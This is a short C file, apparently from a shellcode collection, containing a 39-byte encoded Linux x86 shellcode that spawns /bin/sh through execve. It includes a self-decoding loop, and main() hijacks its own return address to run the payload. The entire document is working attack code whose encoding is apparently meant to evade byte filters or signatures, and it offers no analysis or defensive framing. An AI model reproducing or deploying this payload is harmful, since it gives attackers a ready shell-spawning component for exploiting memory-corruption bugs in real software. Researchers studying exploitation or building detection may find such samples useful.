/* * (linux/x86) - execve("/bin/sh", ["/bin/sh"], NULL) / encoded by +1 - 39 bytes * - izik <izik@tty64.org> */ char shellcode[] = "\x68\x8a\xe2\xce\x81" // push $0x81cee28a "\x68\xb1\x0c\x53\x54" // push $0x54530cb1 "\x68\x6a\x6f\x8a\xe4" // push $0xe48a6f6a "\x68\x01\x69\x30\x63" // push $0x63306901 "\x68\x69\x30\x74\x69" // push $0x69743069 "\x6a\x14" // push $0x14 "\x59" // pop %ecx // // <_unpack_loop>: // "\xfe\x0c\x0c" // decb (%esp,%ecx,1) "\x49" // dec %ecx "\x79\xfa" // jns <_unpack_loop> "\x41" // inc %ecx "\xf7\xe1" // mul %ecx "\x54" // push %esp "\xc3"; // ret int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; }